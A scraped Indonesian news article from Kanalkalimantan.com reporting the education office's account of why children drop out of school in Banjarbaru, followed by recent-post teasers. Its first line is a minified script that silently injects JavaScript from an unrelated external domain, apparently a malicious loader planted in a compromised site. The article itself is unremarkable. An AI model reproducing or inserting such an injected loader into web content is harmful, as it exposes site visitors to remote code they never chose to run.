(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ini Faktor Penyebab Anak Putus Sekolah di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru sebagai ibu kota Provinsi Kalimantan Selatan (Kalsel) ternyata masih mengalami persoalan anak putus sekolah pa jenjang usia wajib belajar 9 tahun.

Data anak putus sekolah jenjang SD dan SMP yang terjadi di Kota Banjarbaru bisa ditarik empat tahun ke belakang dari 2018 hingga 2021.

Salah satu penyumbang kasus anak putus sekolah jenjang wajib belajar sembilan tahun untuk kasus drop out atau DO dan disusul dengan kasus anak yang lulus tidak melanjutkan atau LTM.

Sejumlah faktor ditemukan Dinas Pendidikan Kota Banjarbaru yang melakukan uji langsung ke lapangan untuk mengetahui penyebab anak putus sekolah.

Baca juga: Masih Ada Anak Putus Sekolah di Banjarbaru, Terjadi dalam Empat Tahun Terakhir

Satu di antaranya, sebut Kepala Dinas Pendidikan (Disdik) Kota Banjarbaru Dedy Sutoyo ialah karena faktor lingkungan di rumah.

“Rata-rata anak broken home, akibat perceraian kedua orangtuanya, bingung memilih ikut siapa akhirnya memilih tidak sekolah,” kata Dedy Sutoyo.

Menurut Kadisdik, di ibukota Provinsi Kalsel faktor utama anak putus sekolah didominasi terjadi di kalangan middle up.

Hal itu yang membedakan kalangan masyarakat di desa yang cenderung didominasi karena faktor ekonomi.

Baca juga: Kinerja Terbaik se Kalsel, Pemko Banjarbaru Raih Penghargaan dari ANRI

“Kebanyakan dari kalangan-kalangan middle up yang tidak ingin sekolah karena ini kota, kalau di desa cenderung pada varian ekonomi seperti membantu orangtua,” jelasnya.

Bahkan kata dia, di perkotaan sendiri faktor yang menyebabkan anak putus sekolah bisa lebih kompleks permasalahannya.

Contohnya ketika anak merasa tidak cocok berada di sekolah itu akhirnya memilih tidak mau sekolah lagi.

“Jadi asumsinya seharusnya tidak ada anak yang tidak sekolah, mereka dapat dana BOS, iuran sekolah dimurahkan, kalau tidak mampu bisa mengajukan PKH atau program keluarga harapan.

Baca juga: Sambung Listrik Gratis 14 Rumah di Kertak Baru Kelurahan Cempaka

Jadi tidak ada alasannya tidak sekolah,” tegasnya.

Upaya yang dilakukan agar anak putus sekolah tetap mengecam pendidikan formal.

“Memberikan solusi yang terbaik untuk anak yang putus sekolah seperti follow up kembali kepada anak yang bersangkutan agar kembali bersekolah,” katanya.

Bahkan kata dia, membujuk anak yang putus sekolah untuk mengikuti sekolah paket agar dapat memperoleh ijazah dan bekerja.

Baca juga: Berkendara Gunakan Ponsel Kena Tilang

Pendampingan khusus untuk anak lulusan pondok pesantren yaitu tutornya atau pengajarnya turun langsung ke pondok pesantren.

“Langkah terakhir membujuk orangtua si anak. Jika tidak berhasil juga maka kami akan serahkan kepada lingkungannya,” pungkas Kadisdik Kota Banjarbaru. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.